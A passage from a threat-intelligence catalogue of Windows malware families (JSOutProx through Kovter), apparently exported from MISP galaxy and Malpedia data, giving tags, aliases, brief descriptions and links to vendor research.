https://securelist.com/blog/research/71275/wild-neutron-economic-espionage-threat-actor-returns-with-new-tricks/

JSOutProx

JSOutProx is a sophisticated attack framework built using both Javascript and .NET. It uses the .NET (de)serialization feature to interact with a Javascript file which is the core module running on a victim machine. Once the malware is run on the victim, the framework can load several plugins performing additional malicious activities on the target.

The tag is: *misp-galaxy:malpedia="JSOutProx"*

JSOutProx is also known as:

Table 2410. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.jsoutprox
https://blog.yoroi.company/research/unveiling-jsoutprox-a-new-enterprise-grade-implant/
https://www.zscaler.com/blogs/research/targeted-attacks-indian-government-and-financial-institutions-using-jsoutprox-rat
https://twitter.com/zlab_team/status/1208022180241530882
https://yoroi.company/research/financial-institutions-in-the-sight-of-new-jsoutprox-attack-waves/
https://www.fortinet.com/blog/threat-research/adversary-playbook-javascript-rat-looking-for-that-government-cheese
https://blogs.quickheal.com/multi-staged-jsoutprox-rat-targets-indian-cooperative-banks-and-finance-companies/
https://www.seqrite.com/documents/en/white-papers/whitepaper-multi-staged-jsoutprox-rat-target-indian-co-operative-banks-and-finance-companies.pdf
https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf

JSSLoader

The tag is: *misp-galaxy:malpedia="JSSLoader"*

JSSLoader is also known as:

Table 2411. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.jssloader
https://www.proofpoint.com/us/blog/threat-insight/jssloader-recoded-and-reloaded
https://blog.morphisec.com/new-jssloader-trojan-delivered-through-xll-files

https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself
https://www.malwarebytes.com/blog/threat-intelligence/2022/08/jssloader-the-shellcode-edition
https://www.morphisec.com/hubfs/eBooks_and_Whitepapers/FIN7%20JSSLOADER%20FINAL%20WEB.pdf
https://www.splunk.com/en_us/blog/security/fin7-tools-resurface-in-the-field-splinter-or-copycat.html
https://www.bleepingcomputer.com/news/security/malicious-microsoft-excel-add-ins-used-to-deliver-rat-malware/
https://www.crowdstrike.com/blog/carbon-spider-embraces-big-game-hunting-part-1/
https://malwarebytes.app.box.com/s/ym6r7o5hq0rx2nxjbctfv2sw5vx386ni
https://www.crowdstrike.com/blog/carbon-spider-embraces-big-game-hunting-part-2/
https://www.mandiant.com/resources/evolution-of-fin7
https://blog.morphisec.com/vmware-identity-manager-attack-backdoor
https://www.secureworks.com/blog/excel-add-ins-deliver-jssloader-malware

JuicyPotato

As described on the Github repository page, "A sugared version of RottenPotatoNG, with a bit of juice, i.e. another Local Privilege Escalation tool, from a Windows Service Accounts to NT AUTHORITY\SYSTEM".

The tag is: *misp-galaxy:malpedia="JuicyPotato"*

JuicyPotato is also known as:

Table 2412. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.juicy_potato
https://lifars.com/wp-content/uploads/2020/06/Cryptocurrency-Miners-XMRig-Based-CoinMiner-by-Blue-Mockingbird-Group.pdf
https://github.com/ohpe/juicy-potato
https://www.trendmicro.com/content/dam/trendmicro/global/en/research/22/a/earth-lusca-employs-sophisticated-infrastructure-varied-tools-and-techniques/technical-brief-delving-deep-an-analysis-of-earth-lusca-operations.pdf
https://www.welivesecurity.com/2021/08/09/iispy-complex-server-side-backdoor-antiforensic-features/
https://www.sentinelone.com/blog/bluesky-ransomware-ad-lateral-movement-evasion-and-fast-encryption-puts-threat-on-the-radar/

JUMPALL

According to FireEye, JUMPALL is a malware dropper that has been observed dropping HIGHNOON/ZXSHELL/SOGU.

The tag is: *misp-galaxy:malpedia="JUMPALL"*

JUMPALL is also known as:

Table 2413. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.jumpall
https://content.fireeye.com/apt-41/rpt-apt41/

KAgent

The tag is: *misp-galaxy:malpedia="KAgent"*

KAgent is also known as:

Table 2414. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.kagent
https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf

Karagany

The tag is: *misp-galaxy:malpedia="Karagany"*

Karagany is also known as:

- Karagny

Table 2415. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.karagany
https://vblocalhost.com/uploads/VB2021-Slowik.pdf
https://symantec-blogs.broadcom.com/blogs/threat-intelligence/dragonfly-energy-sector-cyber-attacks
https://paper.seebug.org/papers/APT/APT_CyberCriminal_Campagin/2014/Dragonfly_Threat_Against_Western_Energy_Suppliers.pdf
https://www.secureworks.com/research/updated-karagany-malware-targets-energy-sector

https://www.secureworks.com/research/threat-profiles/iron-liberty
https://www.symantec.com/connect/blogs/dragonfly-western-energy-sector-targeted-sophisticated-attack-group

Kardon Loader

According to ASERT, Kardon Loader is a fully featured downloader, enabling the download and installation of other malware, eg. banking trojans/credential theft etc.This malware has been on sale by an actor under the username Yattaze, starting in late April. The actor offers the sale of the malware as a standalone build with charges for each additional rebuild, or the ability to set up a botshop in which case any customer can establish their own operation and further sell access to a new customer base.

The tag is: *misp-galaxy:malpedia="Kardon Loader"*

Kardon Loader is also known as:

Table 2416. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.kardonloader
https://engineering.salesforce.com/kardon-loader-malware-analysis-adaaaab42bab
https://asert.arbornetworks.com/kardon-loader-looks-for-beta-testers/

Karius

According to checkpoint, Karius is a banking trojan in development, borrowing code from Ramnit, Vawtrack as well as Trickbot, currently implementing webinject attacks only.

It comes with an injector that loads an intermediate "proxy" component, which in turn loads the actual banker component.

Communication with the c2 are in json format and encrypted with RC4 with a hardcoded key.

In the initial version, observed in March 2018, the webinjects were hardcoded in the binary, while in subsequent versions, they were received by the c2.

The tag is: *misp-galaxy:malpedia="Karius"*

Karius is also known as:

Table 2417. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.karius
https://securityintelligence.com/posts/from-ramnit-to-bumblebee-via-neverquest
https://dissectmalware.wordpress.com/2018/03/28/multi-stage-powershell-script/

https://research.checkpoint.com/banking-trojans-development/

Karkoff

The tag is: *misp-galaxy:malpedia="Karkoff"*

Karkoff is also known as:

- CACTUSPIPE
- MailDropper

Table 2418. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.karkoff
https://blog.talosintelligence.com/2019/04/dnspionage-brings-out-karkoff.html
https://www.secureworks.com/research/threat-profiles/cobalt-edgewater
https://blog.telsy.com/apt34-aka-oilrig-attacks-lebanon-government-entities-with-maildropper-implant/
https://mp.weixin.qq.com/s/o_EVjBVN2sQ1q7cl4rUXoQ
https://blog.yoroi.company/research/karkoff-2020-a-new-apt34-espionage-operation-involves-lebanon-government/
https://cyware.com/blog/apt34-the-helix-kitten-cybercriminal-group-loves-to-meow-middle-eastern-and-international-organizations-48ae

Karma

Ransomware.

The tag is: *misp-galaxy:malpedia="Karma"*

Karma is also known as:

Table 2419. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.karma
https://news.sophos.com/en-us/2022/02/28/conti-and-karma-actors-attack-healthcare-provider-at-same-time-through-proxyshell-exploits/?cmp=30728
https://blog.cyble.com/2021/08/24/a-deep-dive-analysis-of-karma-ransomware/
https://www.symantec.broadcom.com/hubfs/SED/SED_Threat_Hunter_Reports_Alerts/SED_FY22Q2_SES_Ransomware-Threat-Landscape_WP.pdf
https://www.sentinelone.com/labs/nokoyawa-ransomware-new-karma-nemty-variant-wears-thin-disguise/

https://www.sentinelone.com/labs/karma-ransomware-an-emerging-threat-with-a-hint-of-nemty-pedigree/
https://blogs.blackberry.com/en/2021/11/threat-thursday-karma-ransomware
https://www.youtube.com/watch?v=hgz5gZB3DxE
https://news.sophos.com/en-us/2022/03/17/the-ransomware-threat-intelligence-center/

KasperAgent

The tag is: *misp-galaxy:malpedia="KasperAgent"*

KasperAgent is also known as:

Table 2420. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.kasperagent
https://www.threatconnect.com/blog/kasperagent-malware-campaign/
http://researchcenter.paloaltonetworks.com/2017/04/unit42-targeted-attacks-middle-east-using-kasperagent-micropsia/

Kazuar

The tag is: *misp-galaxy:malpedia="Kazuar"*

Kazuar is also known as:

Table 2421. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.kazuar
http://researchcenter.paloaltonetworks.com/2017/05/unit42-kazuar-multiplatform-espionage-backdoor-api-access/
https://www.pwc.co.uk/cyber-security/assets/cyber-threats-2019-retrospect.pdf
https://securelist.com/apt-trends-report-q1-2021/101967/
https://www.epicturla.com/blog/sysinturla
https://youtu.be/SW8kVkwDOrc?t=24706
https://www.accenture.com/us-en/blogs/cyber-defense/turla-belugasturgeon-compromises-government-entity
https://securelist.com/sunburst-backdoor-kazuar/99981/
https://www.picussecurity.com/blog/picus-10-critical-mitre-attck-techniques-t1055-process-injection

KazyLoader

According to Karsten Hahn, a straightforward loader that runs assemblies from images.

The tag is: *misp-galaxy:malpedia="KazyLoader"*

KazyLoader is also known as:

Table 2422. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.kazyloader
https://twitter.com/struppigel/status/1501105224819392516

KDC Sponge

The tag is: *misp-galaxy:malpedia="KDC Sponge"*

KDC Sponge is also known as:

Table 2423. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.kdcsponge
https://us-cert.cisa.gov/ncas/alerts/aa21-336a

Kegotip

The tag is: *misp-galaxy:malpedia="Kegotip"*

Kegotip is also known as:

Table 2424. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.kegotip
https://intel471.com/blog/a-brief-history-of-ta505
https://blog.intel471.com/2020/05/21/a-brief-history-of-ta505/

KEKW

Ransomware.

The tag is: *misp-galaxy:malpedia="KEKW"*

KEKW is also known as:

- KEKW-Locker

Table 2425. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.kekw
https://id-ransomware.blogspot.com/2020/03/kekw-ransomware.html

Kelihos

The tag is: *misp-galaxy:malpedia="Kelihos"*

Kelihos is also known as:

Table 2426. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.kelihos
https://lokalhost.pl/txt/peering.into.spam.botnets.VirusBulletin2017.pdf
https://www.crowdstrike.com/blog/farewell-to-kelihos-and-zombie-spider/
https://www.cyberscoop.com/doj-kelihos-botnet-peter-levashov-severa/
https://en.wikipedia.org/wiki/Kelihos_botnet
https://www.justice.gov/opa/pr/russian-national-convicted-charges-relating-kelihos-botnet
https://www.wired.com/2017/04/fbi-took-russias-spam-king-massive-botnet/
https://www.bleepingcomputer.com/news/security/us-convicts-russian-national-behind-kelihos-botnet-crypting-service/
https://www.shadowserver.org/news/has-the-sun-set-on-the-necurs-botnet/
https://www.crowdstrike.com/blog/inside-the-takedown-of-zombie-spider-and-the-kelihos-botnet/

Keona

The tag is: *misp-galaxy:malpedia="Keona"*

Keona is also known as:

Table 2427. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.keona
https://twitter.com/3xp0rtblog/status/1536704209760010241

KerrDown

The tag is: *misp-galaxy:malpedia="KerrDown"*

KerrDown is also known as:

Table 2428. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.kerrdown
https://norfolkinfosec.com/jeshell-an-oceanlotus-apt32-backdoor/
https://tradahacking.vn/th%C6%B0%E1%BB%9Fng-t%E1%BA%BFt-fbcbbed49da7
https://www.amnesty.de/sites/default/files/2021-02/Amnesty-Bericht-Vietnam-Click-And-Bait-Blogger-Deutschland-Spionage-Menschenrechtsverteidiger-Februar-2021.pdf
https://blog.cystack.net/word-based-malware-attack/
https://go.recordedfuture.com/hubfs/reports/cta-2020-1110.pdf
https://www.volexity.com/blog/2020/11/06/oceanlotus-extending-cyber-espionage-operations-through-fake-websites/
https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf
https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf
https://unit42.paloaltonetworks.com/tracking-oceanlotus-new-downloader-kerrdown/
https://www.secureworks.com/research/threat-profiles/tin-woodlawn
https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf
https://github.com/AmnestyTech/investigations/tree/master/2021-02-24_vietnam

Ketrican

Ketrican is a backdoor trojan used by APT 15.

The tag is: *misp-galaxy:malpedia="Ketrican"*

Ketrican is also known as:

Table 2429. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.ketrican
https://www.ptsecurity.com/ww-en/analytics/antisandbox-techniques/
https://www.verfassungsschutz.de/embed/broschuere-2020-06-bfv-cyber-brief-2020-01.pdf
https://www.welivesecurity.com/2019/07/18/okrum-ke3chang-targets-diplomatic-missions/
https://www.intezer.com/blog/research/the-evolution-of-apt15s-codebase-2020/

Ketrum

Intezer found this family mid May 2020, which appears to be a merger of the family Ketrican and Okrum.

The tag is: *misp-galaxy:malpedia="Ketrum"*

Ketrum is also known as:

Table 2430. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.ketrum
https://www.intezer.com/blog/research/the-evolution-of-apt15s-codebase-2020/

KeyBase

KeyBase is a .NET credential stealer and keylogger that first emerged in February 2015. It often incorporates Nirsoft tools such as MailPassView and WebBrowserPassView for additional credential grabbing.

The tag is: *misp-galaxy:malpedia="KeyBase"*

KeyBase is also known as:

- Kibex

Table 2431. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.keybase
https://www.virusbulletin.com/virusbulletin/2016/07/new-keylogger-block/
https://th3l4b.blogspot.com/2015/10/keybase-loggerclipboardcredsstealer.html
https://unit42.paloaltonetworks.com/keybase-threat-grows-despite-public-takedown-a-picture-is-worth-a-thousand-words/
https://isc.sans.edu/forums/diary/Malicious+Office+files+using+fileless+UAC+bypass+to+drop+KEYBASE+malware/22011/
https://community.rsa.com/community/products/netwitness/blog/2018/02/15/malspam-delivers-keybase-keylogger-2-11-2017
https://unit42.paloaltonetworks.com/keybase-keylogger-malware-family-exposed/
https://voidsec.com/keybase-en/

KeyBoy

The tag is: *misp-galaxy:malpedia="KeyBoy"*

KeyBoy is also known as:

- TSSL

Table 2432. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.keyboy
https://www.secureworks.com/research/threat-profiles/bronze-hobart
https://citizenlab.ca/2016/11/parliament-keyboy/
https://blog.rapid7.com/2013/06/07/keyboy-targeted-attacks-against-vietnam-and-india/
https://blog.trendmicro.com/trendlabs-security-intelligence/tropic-trooper-new-strategy/
https://www.pwc.co.uk/issues/cyber-security-data-privacy/research/the-keyboys-are-back-in-town.html

APT3 Keylogger

The tag is: *misp-galaxy:malpedia="APT3 Keylogger"*

APT3 Keylogger is also known as:

Table 2433. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.keylogger_apt3
https://intrusiontruth.wordpress.com/2017/05/09/apt3-is-boyusec-a-chinese-intelligence-contractor/
https://twitter.com/smoothimpact/status/773631684038107136
http://www.symantec.com/connect/blogs/buckeye-cyberespionage-group-shifts-gaze-us-hong-kong

KEYMARBLE

The tag is: *misp-galaxy:malpedia="KEYMARBLE"*

KEYMARBLE is also known as:

Table 2434. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.keymarble
https://blog.lexfo.fr/ressources/Lexfo-WhitePaper-The_Lazarus_Constellation.pdf
https://www.us-cert.gov/ncas/analysis-reports/AR18-221A
https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf
https://research.checkpoint.com/north-korea-turns-against-russian-targets/

KGH_SPY

The tag is: *misp-galaxy:malpedia="KGH_SPY"*

KGH_SPY is also known as:

Table 2435. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.kgh_spy
https://mp.weixin.qq.com/s/cbaePmZSk_Ob0r486RMXyw
https://www.cybereason.com/blog/back-to-the-future-inside-the-kimsuky-kgh-spyware-suite

Khonsari

A compact ransomware written in .NET and delivered as follow-up to Log4J exploitation, targeting Windows servers.

The tag is: *misp-galaxy:malpedia="Khonsari"*

Khonsari is also known as:

Table 2436. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.khonsari
https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/log4j-vulnerabilities-attacks
https://www.cadosecurity.com/analysis-of-novel-khonsari-ransomware-deployed-by-the-log4shell-vulnerability/
https://www.microsoft.com/security/blog/2021/12/11/guidance-for-preventing-detecting-and-hunting-for-cve-2021-44228-log4j-2-exploitation
https://assets.virustotal.com/reports/2021trends.pdf
https://cloudsek.com/technical-analysis-of-khonsari-ransomware-campaign-exploiting-the-log4shell-vulnerability/

KHRAT

The tag is: *misp-galaxy:malpedia="KHRAT"*

KHRAT is also known as:

Table 2437. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.khrat
https://researchcenter.paloaltonetworks.com/2017/08/unit42-updated-khrat-malware-used-in-cambodia-attacks/
https://unit42.paloaltonetworks.com/rancor-cyber-espionage-group-uses-new-custom-malware-to-attack-southeast-asia/

https://www.forcepoint.com/de/blog/x-labs/trojanized-adobe-installer-used-install-dragonok-s-new-custom-backdoor
https://unit42.paloaltonetworks.com/atoms/rancortaurus/

Kikothac

The tag is: *misp-galaxy:malpedia="Kikothac"*

Kikothac is also known as:

Table 2438. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.kikothac
https://www.group-ib.com/resources/threat-research/silence.html

KillAV

The tag is: *misp-galaxy:malpedia="KillAV"*

KillAV is also known as:

Table 2439. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.killav
https://www.aon.com/cyber-solutions/aon_cyber_labs/yours-truly-signed-av-driver-weaponizing-an-antivirus-driver/
https://cyber.aon.com/aon_cyber_labs/yours-truly-signed-av-driver-weaponizing-an-antivirus-driver/

KillDisk

The tag is: *misp-galaxy:malpedia="KillDisk"*

KillDisk is also known as:

Table 2440. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.killdisk
http://www.welivesecurity.com/2016/12/13/rise-telebots-analyzing-disruptive-killdisk-attacks
https://www.welivesecurity.com/2017/01/05/killdisk-now-targeting-linux-demands-250k-ransom-cant-decrypt
https://www.welivesecurity.com/2018/04/03/lazarus-killdisk-central-american-casino/

http://www.welivesecurity.com/2016/12/13/rise-telebots-analyzing-disruptive-killdisk-attacks/
https://blog.nviso.eu/2022/02/24/threat-update-ukraine-russia-tensions/
https://www.crowdstrike.com/blog/the-anatomy-of-wiper-malware-part-1/
https://attack.mitre.org/groups/G0034
https://blog.trendmicro.com/trendlabs-security-intelligence/new-killdisk-variant-hits-financial-organizations-in-latin-america/
https://www.secureworks.com/research/threat-profiles/iron-viking

KilllSomeOne

The tag is: *misp-galaxy:malpedia="KilllSomeOne"*

KilllSomeOne is also known as:

Table 2441. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.killsomeone
https://news.sophos.com/en-us/2020/11/04/a-new-apt-uses-dll-side-loads-to-killlsomeone/

KimJongRat

The tag is: *misp-galaxy:malpedia="KimJongRat"*

KimJongRat is also known as:

Table 2442. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.kimjongrat
https://www.reuters.com/article/us-usa-election-cyber-louisiana-exclusiv/exclusive-national-guard-called-in-to-thwart-cyberattack-in-louisiana-weeks-before-election-idUSKBN27823F

Kimsuky

The tag is: *misp-galaxy:malpedia="Kimsuky"*

Kimsuky is also known as:

Table 2443. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.kimsuky
https://blog.lexfo.fr/ressources/Lexfo-WhitePaper-The_Lazarus_Constellation.pdf

https://metaswan.github.io/posts/Malware-Kimsuky-group's-resume-impersonation-malware
https://threatconnect.com/blog/threatconnect-research-roundup-probable-sandworm-infrastructure
https://www.boho.or.kr/filedownload.do?attach_file_seq=2652&attach_file_id=EpF2652.pdf
https://blog.prevailion.com/2019/09/autumn-aperture-report.html
https://asec.ahnlab.com/en/37396/
https://vblocalhost.com/presentations/operation-newton-hi-kimsuky-did-an-appleseed-really-fall-on-newtons-head/
https://www.virusbulletin.com/virusbulletin/2020/03/vb2019-paper-kimsuky-group-tracking-king-spearphishing/
https://inquest.net/blog/2021/08/23/kimsuky-espionage-campaign
https://www.virusbulletin.com/uploads/pdf/conference_slides/2019/VB2019-Kim.pdf
https://blog.alyac.co.kr/2347
https://www.pwc.co.uk/issues/cyber-security-data-privacy/research/tracking-kimsuky-north-korea-based-cyber-espionage-group-part-1.html
https://asec.ahnlab.com/en/30532/

Kingminer

The tag is: *misp-galaxy:malpedia="Kingminer"*

Kingminer is also known as:

Table 2444. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.kingminer
https://news.sophos.com/en-us/2020/06/09/kingminer-report/
https://asec.ahnlab.com/en/32572/
https://www.bitdefender.com/files/News/CaseStudies/study/354/Bitdefender-PR-Whitepaper-KingMiner-creat4610-en-EN-GenericUse.pdf
https://www.bleepingcomputer.com/news/security/vulnerable-microsoft-sql-servers-targeted-with-cobalt-strike/
https://www.sophos.com/en-us/medialibrary/PDFs/technical-papers/sophos-labs-kingminer-botnet-report.pdf
https://www.trendmicro.com/en_us/research/22/e/uncovering-a-kingminer-botnet-attack-using-trend-micro-managed-x.html

KINS

The tag is: *misp-galaxy:malpedia="KINS"*

KINS is also known as:

- Kasper Internet Non-Security
- Maple

Table 2445. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.kins
https://github.com/nyx0/KINS
https://blog.malwarebytes.com/threat-analysis/2014/02/hiding-in-plain-sight-a-story-about-a-sneaky-banking-trojan/
https://www.vkremez.com/2018/10/lets-learn-exploring-zeusvm-banking.html
https://securityintelligence.com/zeus-maple-variant-targets-canadian-online-banking-customers/

KIVARS (Windows)

The tag is: *misp-galaxy:malpedia="KIVARS (Windows)"*

KIVARS (Windows) is also known as:

Table 2446. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.kivars
https://www.trendmicro.com/en_us/research/17/f/following-trail-blacktech-cyber-espionage-campaigns.html
https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/palmerworm-blacktech-espionage-apt
https://blog.trendmicro.com/trendlabs-security-intelligence/kivars-with-venom-targeted-attacks-upgrade-with-64-bit-support/

Klackring

Microsoft describes that threat actor ZINC is using Klackring as a malware dropped by ComeBacker, both being used to target security researchers.

The tag is: *misp-galaxy:malpedia="Klackring"*

Klackring is also known as:

Table 2447. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.klackring
https://www.microsoft.com/security/blog/2021/01/28/zinc-attacks-against-security-researchers/

KleptoParasite Stealer

KleptoParasite Stealer is advertised on Hackforums as a noob-friendly stealer. It is modular and comes with a IP retriever module, a Outlook stealer (32bit/64bit) and a Chrome/Firefox stealer (32bit/64bit). Earlier versions come bundled (loader plus modules), newer versions come with a loader (167k) that grabs the modules.

PDB-strings suggest a relationship to JogLog v6 and v7.

The tag is: *misp-galaxy:malpedia="KleptoParasite Stealer"*

KleptoParasite Stealer is also known as:

- Joglog
- Parasite

Table 2448. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.kleptoparasite_stealer

KlingonRAT

The tag is: *misp-galaxy:malpedia="KlingonRAT"*

KlingonRAT is also known as:

Table 2449. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.klingon_rat
https://www.intezer.com/blog/malware-analysis/klingon-rat-holding-on-for-dear-life/

KLRD

The tag is: *misp-galaxy:malpedia="KLRD"*

KLRD is also known as:

Table 2450. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.klrd

https://www.symantec.com/connect/blogs/odinaff-new-trojan-used-high-level-financial-attacks
https://securitykitten.github.io/2016/11/28/the-klrd-keylogger.html

Knot

Ransomware.

The tag is: *misp-galaxy:malpedia="Knot"*

Knot is also known as:

Table 2451. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.knot
https://twitter.com/malwrhunterteam/status/1345313324825780226

Koadic

The tag is: *misp-galaxy:malpedia="Koadic"*

Koadic is also known as:

Table 2452. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.koadic
https://cdn-cybersecurity.att.com/docs/global-perspective-of-the-sidewinder-apt.pdf
https://resources.malwarebytes.com/files/2021/02/LazyScripter.pdf
https://www.secureworks.com/research/threat-profiles/cobalt-ulster
https://researchcenter.paloaltonetworks.com/2018/06/unit42-sofacy-groups-parallel-attacks/
https://www.secureworks.com/research/threat-profiles/gold-drake
https://blog.tofile.dev/2020/11/28/koadic_jarm.html
https://www.secureworks.com/research/threat-profiles/cobalt-trinity
http://www.secureworks.com/research/threat-profiles/cobalt-ulster
https://github.com/zerosum0x0/koadic
http://www.secureworks.com/research/threat-profiles/gold-drake
https://labs.bitdefender.com/2020/03/5-times-more-coronavirus-themed-malware-reports-during-march/?utm_campaign=twitter&utm_medium=twitter&utm_source=twitter
https://www.prodaft.com/m/uploads/SilverFish_TLPWHITE.pdf

KokoKrypt

The tag is: *misp-galaxy:malpedia="KokoKrypt"*

KokoKrypt is also known as:

Table 2453. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.kokokrypt
https://twitter.com/struppigel/status/812726545173401600

KOMPROGO

KOMPROGO is a signature backdoor used by APT32 that is capable of process, file, and registry management, Creating a reverse shell, running WMI queries, retrieving information about the infected system.

The tag is: *misp-galaxy:malpedia="KOMPROGO"*

KOMPROGO is also known as:

- Splinter RAT

Table 2454. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.komprogo
https://www.cylance.com/content/dam/cylance-web/en-us/resources/knowledge-center/resource-library/reports/SpyRATsofOceanLotusMalwareWhitePaper.pdf
https://ruxcon.org.au/assets/2017/slides/bart-RuxCon-Presentation.pptx
https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html
https://www.symantec.com/security_response/earthlink_writeup.jsp?docid=2015-120808-5327-99

Konni

Konni is a remote administration tool, observed in the wild since early 2014. The Konni malware family is potentially linked to APT37, a North-Korean cyber espionage group active since 2012. The group primary victims are South-Korean political organizations, as well as Japan, Vietnam, Russia, Nepal, China, India, Romania, Kuwait, and other parts of the Middle East.

The tag is: *misp-galaxy:malpedia="Konni"*

Konni is also known as:

Table 2455. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.konni
https://medium.com/d-hunter/a-look-into-konni-2019-campaign-b45a0f321e9b
https://www.bleepingcomputer.com/news/security/hackers-take-over-diplomats-email-target-russian-deputy-minister/
https://blog.malwarebytes.com/threat-intelligence/2021/08/new-variant-of-konni-malware-used-in-campaign-targetting-russia/
https://www.securonix.com/blog/stiffbizon-detection-new-attack-campaign-observed/
https://www.bleepingcomputer.com/news/security/north-korean-hackers-attack-eu-targets-with-konni-rat-malware/
http://blog.talosintelligence.com/2017/05/konni-malware-under-radar-for-years.html
https://blog.alyac.co.kr/2474
http://blog.talosintelligence.com/2017/07/konni-references-north-korean-missile-capabilities.html
https://blog.fortinet.com/2017/08/15/a-quick-look-at-a-new-konni-rat-variant
https://cluster25.io/wp-content/uploads/2022/01/Konni_targeting_Russian_diplomatic_sector.pdf
https://securelist.com/scarcruft-continues-to-evolve-introduces-bluetooth-harvester/90729/
https://blog.lumen.com/new-konni-campaign-targeting-russian-ministry-of-foreign-affairs/
https://e.cyberint.com/hubfs/Cyberint_Konni%20Malware%202019%20Campaign_Report.pdf
https://blog.malwarebytes.com/threat-intelligence/2022/01/konni-evolves-into-stealthier-rat/
https://vallejo.cc/2017/07/08/analysis-of-new-variant-of-konni-rat/
https://us-cert.cisa.gov/ncas/alerts/aa20-227a

KoobFace

The tag is: *misp-galaxy:malpedia="KoobFace"*

KoobFace is also known as:

Table 2456. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.koobface
https://web.archive.org/web/20160616170611/https://media.blackhat.com/bh-eu-10/presentations/Carrera_Silberman/BlackHat-EU-2010-Carrera-Silberman-State-of-Malware-slides.pdf

Korlia

The tag is: *misp-galaxy:malpedia="Korlia"*

Korlia is also known as:

- Bisonal

Table 2457. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.korlia
http://asec.ahnlab.com/tag/Operation%20Bitter%20Biscuit
https://www.slideshare.net/StefanoMaccaglia/bsides-ir-in-heterogeneous-environment
https://www.ptsecurity.com/upload/corporate/ww-en/pt-esc/winnti-2020-eng.pdf
https://research.checkpoint.com/2020/vicious-panda-the-covid-campaign/
https://unit42.paloaltonetworks.com/unit42-bisonal-malware-used-attacks-russia-south-korea/
https://researchcenter.paloaltonetworks.com/2018/07/unit42-bisonal-malware-used-attacks-russia-south-korea/
https://securitykitten.github.io/2014/11/25/curious-korlia.html
https://www.ptsecurity.com/upload/corporate/ru-ru/webinars/ics/winnti-shadowpad.pdf
https://jsac.jpcert.or.jp/archive/2020/pdf/JSAC2020_3_takai_jp.pdf
https://securelist.com/cactuspete-apt-groups-updated-bisonal-backdoor/97962/
https://www.ptsecurity.com/upload/corporate/ru-ru/pt-esc/winnti-2020-rus.pdf
https://blog.talosintelligence.com/2020/03/bisonal-10-years-of-play.html
https://www.sentinelone.com/labs/targets-of-interest-russian-organizations-increasingly-under-attack-by-chinese-apts/
https://github.com/malware-kitten/securitykitten.github.io/blob/master/_posts/2014-11-25-curious-korlia.md
https://web.archive.org/web/20130920120931/https:/www.rsaconference.com/writable/presentations/file_upload/cle-t04_final_v1.pdf
https://global.ahnlab.com/global/upload/download/asecreport/ASEC%20REPORT_vol.93_ENG.pdf
https://asec.ahnlab.com/1298
https://www.secureworks.com/research/threat-profiles/bronze-huntley
https://nao-sec.org/2020/01/an-overhead-view-of-the-royal-road.html
https://www.youtube.com/watch?v=_fstHQSK-kk

Kovter

Kovter is a Police Ransomware

